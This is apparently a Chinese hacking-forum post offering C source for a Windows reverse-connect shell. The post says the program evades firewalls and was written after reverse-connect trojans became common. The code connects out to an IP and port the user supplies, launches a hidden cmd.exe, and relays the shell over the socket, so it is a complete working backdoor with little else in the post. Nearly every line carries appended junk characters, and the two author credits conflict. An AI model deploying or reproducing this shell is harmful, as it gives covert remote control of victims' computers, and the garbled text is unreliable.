这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 <Hr<QiAK
pJ}U'*Z2
/* ============================== hGY-d}npAJ
Rebound port in Windows NT /)J]ItJlz
By wind,2006/7 _ikKOU^8
===============================*/ OU7OX]h
#include ]NTQF/
#include !AE;s}v)0{
&,%n
#pragma comment(lib,"wsock32.lib") 4)tY6ds)r|
Jw}t~m3
void OutputShell(); Yq00<kIDJ
SOCKET sClient; S1^/W-yoc~
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; r+ 8Tp|%
iXo;e
void main(int argc,char **argv) VQH48{X
{ Xydx87L/-e
WSADATA stWsaData; /!5ohQlPJ
int nRet; i*N2@Z[
SOCKADDR_IN stSaiClient,stSaiServer; Lm=EN%*#9
RNw#sR
if(argc != 3) bT2c&VPCE
{ {U_ ,y(V
printf("Useage:\n\rRebound DestIP DestPort\n"); Q2ne]MI
return; k{;?>=FH!
} \-]Jm[]^
GBb8}lx
WSAStartup(MAKEWORD(2,2),&stWsaData); *
cW%Q@lit
2QbKh)
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); eR5q3E/;G
5}hQIO&^%
stSaiClient.sin_family = AF_INET; A+M4=
stSaiClient.sin_port = htons(0); 9_5>MmiB
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 6jc5B#
0Sd>*nC
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) w}l^B>Zz
{ p1niS:}j
printf("Bind Socket Failed!\n"); e_ epuki
return; j:1N&7<FU
} 02;'"EmP$
Tdh.U{Nz
stSaiServer.sin_family = AF_INET; >l)x~Bkf$j
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ;~:Z~8+{c
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ,^c-}`!K
Uz_ob9l<#H
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ,0h{RZKw
{ qbq2Bi'a
printf("Connect Error!"); jW8ad{
return; 8/R$}b><
} P{K\}+9F
OutputShell(); B">Ko3
} npkT>dB+
<Nrtkf4-O
void OutputShell() Pzzzv^+
{ >Um(gbG
char szBuff[1024]; )fXw ~
SECURITY_ATTRIBUTES stSecurityAttributes; E]~#EFc
OSVERSIONINFO stOsversionInfo; z. hq2v
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; t'$_3ml
STARTUPINFO stStartupInfo; n-M6~
char *szShell; F-:AT$Ok
PROCESS_INFORMATION stProcessInformation; `$1A;wg<
unsigned long lBytesRead; TxQsi"0c
{ /!ryOA65
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); d1g7:s9$0
^E\4`
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); a] c03$f K
stSecurityAttributes.lpSecurityDescriptor = 0; :dbO|]Xf
stSecurityAttributes.bInheritHandle = TRUE; THOYx :Nr;
uaP5(hUI
\Kui`X
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); SbUac<
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); sqhIKw@
63\
CE_p
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 3+'vNc
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Bj6%mI42hl
stStartupInfo.wShowWindow = SW_HIDE;
z [[qrR
stStartupInfo.hStdInput = hReadPipe; aj1g9y
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; <e
9d5-2
)!AH0p
GetVersionEx(&stOsversionInfo); 6W YVHG
Z"Lr5'}
switch(stOsversionInfo.dwPlatformId) 4s|qxCks
{ Ew.6y=Ba
case 1: {Q$8p2W
szShell = "command.com"; M<l<n$rYS
break; 8v/,<eARJ
default: MX#LtCG#V
szShell = "cmd.exe"; =[aiW|Y
break; A?n5;mvq#
} y]R+/
PyI"B96gz
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); voRb>xF
g51UIN]o-
send(sClient,szMsg,77,0); Zp{K_ec{
while(1) B)DuikV.D
{ nvQX)Xf
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); jpYZ)
So-
if(lBytesRead) KIY`3Fl09
{ N?rE:0SJ
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); Y#9bM$x7
send(sClient,szBuff,lBytesRead,0); 5>S1lyam
} ^ux'-/
else ?vWF[ DRd'
{ _
j'm2BAO
lBytesRead=recv(sClient,szBuff,1024,0); "usPzp5
if(lBytesRead<=0) break; G
9 &,`
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 7ieAd/:_
} w?"M
} Zr6.Nw
g*_n|7pB
return; 4!ZT_q
}